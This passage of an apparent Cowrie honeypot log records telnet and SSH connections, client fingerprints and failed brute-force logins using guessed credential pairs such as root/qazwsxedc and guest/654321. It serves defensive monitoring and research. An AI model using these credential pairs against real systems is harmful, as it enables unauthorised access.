{"eventid":"cowrie.session.closed","duration":34.77931332588196,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:46.239341Z","src_ip":"62.210.97.77","session":"aa9ef3c9dc7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.05540633201599,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:46.455554Z","src_ip":"62.210.97.77","session":"3e8c5e1d48f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":41972,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d1052fa39be","protocol":"telnet","message":"New connection: 134.209.8.29:41972 (159.203.135.109:23) [session: 0d1052fa39be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:47.409312Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51598,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a932ba608b9","protocol":"ssh","message":"New connection: 176.65.132.254:51598 (10.17.0.5:22) [session: 3a932ba608b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:47.415936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:47.420547Z","src_ip":"176.65.132.254","session":"3a932ba608b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:47.510984Z","src_ip":"176.65.132.254","session":"3a932ba608b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51560,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcac8354dd49","protocol":"telnet","message":"New connection: 62.210.97.77:51560 (10.17.0.5:23) [session: dcac8354dd49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:47.550385Z"}
{"eventid":"cowrie.session.closed","duration":53.87014675140381,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:47.658923Z","src_ip":"134.209.8.29","session":"9c23d60e4fa0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:47.759329Z","src_ip":"176.65.132.254","session":"3a932ba608b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:48.849876Z","src_ip":"176.65.132.254","session":"3a932ba608b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49442,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ae20f83da13","protocol":"telnet","message":"New connection: 62.210.97.77:49442 (10.17.0.5:23) [session: 8ae20f83da13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:49.532478Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49452,"dst_ip":"10.17.0.5","dst_port":23,"session":"a03482faa00a","protocol":"telnet","message":"New connection: 62.210.97.77:49452 (10.17.0.5:23) [session: a03482faa00a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:49.802033Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49468,"dst_ip":"10.17.0.5","dst_port":23,"session":"baf20fde2ad6","protocol":"telnet","message":"New connection: 62.210.97.77:49468 (10.17.0.5:23) [session: baf20fde2ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:50.164872Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49476,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ac61e2039a2","protocol":"telnet","message":"New connection: 62.210.97.77:49476 (10.17.0.5:23) [session: 3ac61e2039a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:50.687628Z"}
{"eventid":"cowrie.session.closed","duration":38.42326068878174,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:50.994981Z","src_ip":"62.210.97.77","session":"02ecbe02ff86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51612,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb07f0248f41","protocol":"ssh","message":"New connection: 176.65.132.254:51612 (10.17.0.5:22) [session: eb07f0248f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:51.439357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:51.444612Z","src_ip":"176.65.132.254","session":"eb07f0248f41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:51.543939Z","src_ip":"176.65.132.254","session":"eb07f0248f41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:51.901425Z","src_ip":"176.65.132.254","session":"eb07f0248f41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49480,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc031f97aa68","protocol":"telnet","message":"New connection: 62.210.97.77:49480 (10.17.0.5:23) [session: dc031f97aa68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:52.384907Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49488,"dst_ip":"10.17.0.5","dst_port":23,"session":"65c3c3d24d91","protocol":"telnet","message":"New connection: 62.210.97.77:49488 (10.17.0.5:23) [session: 65c3c3d24d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:52.714572Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:52.986387Z","src_ip":"176.65.132.254","session":"eb07f0248f41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.13432598114014,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:52.997924Z","src_ip":"62.210.97.77","session":"1078197210ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43503737449646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:55.131023Z","src_ip":"62.210.97.77","session":"093f6c7fa0b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.64994788169861,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:55.604459Z","src_ip":"62.210.97.77","session":"a1a2517143fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56254,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1cc81973547","protocol":"ssh","message":"New connection: 176.65.132.254:56254 (10.17.0.5:22) [session: f1cc81973547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:55.627189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:55.632985Z","src_ip":"176.65.132.254","session":"f1cc81973547","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:55.720464Z","src_ip":"176.65.132.254","session":"f1cc81973547","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:55.967151Z","src_ip":"176.65.132.254","session":"f1cc81973547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":41970,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ee1abbc42f7","protocol":"telnet","message":"New connection: 134.209.8.29:41970 (159.203.135.109:23) [session: 9ee1abbc42f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:56.016112Z"}
{"eventid":"cowrie.session.closed","duration":0.006845235824584961,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:56.022841Z","src_ip":"134.209.8.29","session":"9ee1abbc42f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.77859592437744,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:56.031171Z","src_ip":"62.210.97.77","session":"9509eb11bee0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.650696277618408,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:56.078293Z","src_ip":"92.224.191.231","session":"08d5a8ff612d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49502,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca925750065d","protocol":"telnet","message":"New connection: 62.210.97.77:49502 (10.17.0.5:23) [session: ca925750065d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:56.856518Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:57.053118Z","src_ip":"176.65.132.254","session":"f1cc81973547","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49512,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3384a13e3bb","protocol":"telnet","message":"New connection: 62.210.97.77:49512 (10.17.0.5:23) [session: e3384a13e3bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:57.352732Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49528,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe43dc85982f","protocol":"telnet","message":"New connection: 62.210.97.77:49528 (10.17.0.5:23) [session: fe43dc85982f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:57.714530Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":49402,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1373d043f9a","protocol":"telnet","message":"New connection: 134.209.8.29:49402 (159.203.135.109:23) [session: c1373d043f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:58.032636Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41326,"dst_ip":"10.17.0.5","dst_port":23,"session":"1032b6a433e3","protocol":"telnet","message":"New connection: 62.210.97.77:41326 (10.17.0.5:23) [session: 1032b6a433e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:58.807492Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56262,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0abe99595b6","protocol":"ssh","message":"New connection: 176.65.132.254:56262 (10.17.0.5:22) [session: c0abe99595b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:59.638971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:59.643610Z","src_ip":"176.65.132.254","session":"c0abe99595b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:59.742587Z","src_ip":"176.65.132.254","session":"c0abe99595b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41332,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed868d1d3224","protocol":"telnet","message":"New connection: 62.210.97.77:41332 (10.17.0.5:23) [session: ed868d1d3224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:59.815321Z"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:02:59.999215Z","src_ip":"176.65.132.254","session":"c0abe99595b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:01.091371Z","src_ip":"176.65.132.254","session":"c0abe99595b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":50672,"dst_ip":"159.203.135.109","dst_port":22,"session":"060df29203c2","protocol":"ssh","message":"New connection: 152.32.189.59:50672 (159.203.135.109:22) [session: 060df29203c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:01.879071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:01.886103Z","src_ip":"152.32.189.59","session":"060df29203c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":49412,"dst_ip":"159.203.135.109","dst_port":23,"session":"d23a1c617f6f","protocol":"telnet","message":"New connection: 134.209.8.29:49412 (159.203.135.109:23) [session: d23a1c617f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:02.080864Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:02.158931Z","src_ip":"152.32.189.59","session":"060df29203c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41342,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e582ed01054","protocol":"telnet","message":"New connection: 62.210.97.77:41342 (10.17.0.5:23) [session: 2e582ed01054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:02.752213Z"}
{"eventid":"cowrie.session.closed","duration":31.123040437698364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:02.843091Z","src_ip":"62.210.97.77","session":"74f59b3865a9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"654321","message":"login attempt [guest/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:03.013960Z","src_ip":"152.32.189.59","session":"060df29203c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49904,"dst_ip":"10.17.0.5","dst_port":23,"session":"e225fb5269d6","protocol":"telnet","message":"New connection: 38.54.119.93:49904 (10.17.0.5:23) [session: e225fb5269d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:03.455829Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55766,"dst_ip":"10.17.0.5","dst_port":22,"session":"85dcfd95512c","protocol":"ssh","message":"New connection: 176.65.132.254:55766 (10.17.0.5:22) [session: 85dcfd95512c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:03.577269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:03:03.582572Z","src_ip":"176.65.132.254","session":"85dcfd95512c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@op